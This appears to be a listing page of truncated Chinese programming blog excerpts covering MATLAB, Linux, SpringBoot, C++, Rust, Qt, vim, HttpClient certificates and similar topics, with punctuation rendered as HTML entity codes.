操作环境&#xff1a; MATLAB 2022a 1、算法描述 D2D蜂窝通信介绍 D2D蜂窝通信允许在同一蜂窝网络覆盖区域内的终端设备直接相互通信&#xff0c;而无需数据经过基站或网络核心部分转发。这种通信模式具有几个显著优点&#xff1a;首先&#xff0c;它可以显著降低通信延迟&…

波奇学Linux: 文件描述符

文件和操作系统的关系 操作系统控制进程&#xff0c;文件的打开是在进程中进行。意味着用来控制进程的PCB必然有文件的信息&#xff0c;操作系统通过控制PCB的信息来控制文件的读写。 Q1&#xff1a;如何证明文件打开是在进程中进行&#xff1f; 编写c文件调用fopen来操作文件…

SpringBoot 接入讯飞星火大模型实现对话

申请地址 https://xinghuo.xfyun.cn/sparkapi?scrprice 免费申请200万Token 开发文档 https://www.xfyun.cn/doc/spark/Web.html#_1-接口说明 页面最下面有相关demo可以参考 介绍 接口是以套接字的形式分段返回&#xff0c;而且非http请求&#xff0c;比较繁琐&#xff0c;官…

如何使用Airtest进行UI自动化测试

一、环境搭建 1、Airtest客户端下载 访问官网http://airtest.netease.com/&#xff0c;根据自己的系统下载相应的客户端安装&#xff1b; 2、python工具下载与环境搭建 在本地python环境中安装airtest和pocoui&#xff0c;然后用命令行运行脚本&#xff1b; 1、建议使用3.…

笔记:《NCT全国青少年编程能力等级测试教程Python语言编程二级》

NCT全国青少年编程能力等级测试教程Python语言编程二级 ISBN:9787302565857 绪论 专题1 模块化编程 考查方向 考点清单 考点 模块化编程 (一)模块化编程思想:结构清晰、降低复杂度;提高代码复用率;易于扩展、维护,方便阅读、优化。 …

猫头虎分享已解决Bug || RuntimeError: size mismatch, m1: [32 x 100], m2: [500 x 10]

博主猫头虎的技术世界 &#x1f31f; 欢迎来到猫头虎的博客 — 探索技术的无限可能&#xff01; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a; 《面试题大全》 — 面试准备的宝典&#xff01;《IDEA开发秘籍》 — 提升你的IDEA技能&#xff01;《100天精通鸿蒙》 …

奶茶点餐|奶茶店自助点餐系统|基于微信小程序的饮品点单系统的设计与实现(源码+数据库+文档)

奶茶店自助点餐系统目录 目录 基于微信小程序的饮品点单系统的设计与实现 一、前言 二、系统功能设计 三、系统实现 1、商品信息管理 2、商品评价管理 3、商品订单管理 4、用户管理 四、数据库设计 1、实体ER图 2、具体的表设计如下所示&#xff1a; 五、核心代码 …

【More Effective C++】条款2:使用C++转型操作符

C旧式转型的缺点包括&#xff1a; 没有类型安全检查&#xff1a;允许将任何指针转换为其他类型指针&#xff0c;可能导致未定义行为的错误&#xff1b;难以识别和维护&#xff1a;语法(type)expression 或 type(expression)在代码中难以被快速识别&#xff1b; 为了解决上述问…

算法||如何优化算法?算法如何评价和分析

目录 1.一个好的算法所具备的特性 2.算法分析‐‐‐评价算法 3.算法复杂度 4.时间复杂度 如何统计在程序中统计算法执行语句数 5.空间复杂度 6.程序优化的最核心思路: 总结 1.一个好的算法所具备的特性 正确: 符合语法,能够编译、链接 能够正确处理简单的输入…

Rust语言之字符串

文章目录 一、字符二、字符串1.&str2.string创建字符串遍历字符串变更字符串指定位置插入字符串字符串拼接宏拼接&#xff08;format!&#xff09; 三、切片1.字符串切片2.数组&#xff08;向量&#xff09;切片 Rust语言设计官方教程 一、字符 Rust提供char为字符存储变量…

Qt知识点总结目录

一.Qt安装配置和创建项目 Qt所有版本下载地址 Qt安装配置教程windows版&#xff08;包括&#xff1a;Qt5.8.0版本&#xff0c;Qt5.12&#xff0c;Qt5.14版本下载安装教程&#xff09;&#xff08;亲测可行&#xff09; QT从入门到入土&#xff08;一&#xff09;——Qt5.14.…

Linux操作系统基础(八):Linux的vi/vim编辑器

文章目录 Linux的vi/vim编辑器 一、vi/vim编辑器介绍 二、打开文件 三、VIM编辑器的三种模式(重点) 四、命令模式相关命令 五、底行模式相关命令 Linux的vi/vim编辑器 一、vi/vim编辑器介绍 vi是visual interface的简称, 是Linux中最经典的文本编辑器 vi的核心设计思想…

技术精英求职必备:网络安全工程师简历制作全指南

简历编写核心原则 撰写针对网络安全工程师职位的简历时&#xff0c;关键在于准确展现您在网络安全领域的专业技能、项目经验和技术成就。简历应作为您展示安全策略制定、风险管理、入侵检测和响应能力的窗口。确保每一项经历和技能都紧密贴合网络安全工程师的角色要求。具体的…

在 Windows上恢复删除照片的 4 种有效方法

您是否曾在 Windows 7/8/10/11 中不小心删除过照片&#xff1f;如何轻松快速地恢复已删除的照片&#xff1f;在这里这篇文章列出了几种在Windows 11/10/8/7中恢复已删除照片的可行方法&#xff0c;而MiniTool数据恢复软件 是丢失照片恢复的最佳选择。 意外删除的照片 根据一项…

蓝桥杯官网练习题(翻转)

问题描述 小蓝用黑白棋的 n 个棋子排成了一行&#xff0c;他在脑海里想象出了一个长度为 n 的 01 串 T&#xff0c;他发现如果把黑棋当做 1&#xff0c;白棋当做 0&#xff0c;这一行棋子也是一个长度为 n 的 01 串 S。 小蓝决定&#xff0c;如果在 S 中发现一个棋子…

口腔助手|口腔挂号预约小程序|基于微信小程序的口腔门诊预约系统的设计与实现(源码+数据库+文档)

口腔小程序目录 目录 基于微信小程序的口腔门诊预约系统的设计与实现 一、前言 二、系统功能设计 三、系统实现 1、小程序前台界面实现 2、后台管理员模块实现 四、数据库设计 1、实体ER图 2、具体的表设计如下所示&#xff1a; 五、核心代码 六、论文参考 七、最新…

20190726 ApacheHttpClient-自签证书与系统证书共存

要使用HTTPClient-4.5.2做一些连接&#xff1b;但是有的域名是使用的自签证书&#xff0c;有的是CA签发证书&#xff1b;同时又不想跳过证书验证又想使用一个HTTPClient&#xff1b; 如果单单实现验证只使用自签证书或者只使用CA证书的域名比较简单&#xff1b;前者只需要new l…

【调试】pstore原理和使用方法总结

什么是pstore pstore最初是用于系统发生oops或panic时&#xff0c;自动保存内核log buffer中的日志。不过在当前内核版本中&#xff0c;其已经支持了更多的功能&#xff0c;如保存console日志、ftrace消息和用户空间日志。同时&#xff0c;它还支持将这些消息保存在不同的存储…

Avalonia 虚拟化

应用虚拟化技术是管理大量数据时优化性能的一种方法&#xff0c;特别是在使用如Avalonia这样的UI框架时。虚拟化可以帮助减少内存使用并提高应用的响应速度&#xff0c;因为它只加载用户可以看到的元素&#xff0c;而不是全部数据。以下是Avalonia中使用虚拟化的一个基本例子&a…

根据loss 曲率自动微调学习率代码示例

根据loss 曲率自动微调学习率代码示例 代码代码解析代码 from tqdm import tqdm from yan import CvFo import paddle import pandas as pd import numpy as npdef get_loss(loss):loss = np.array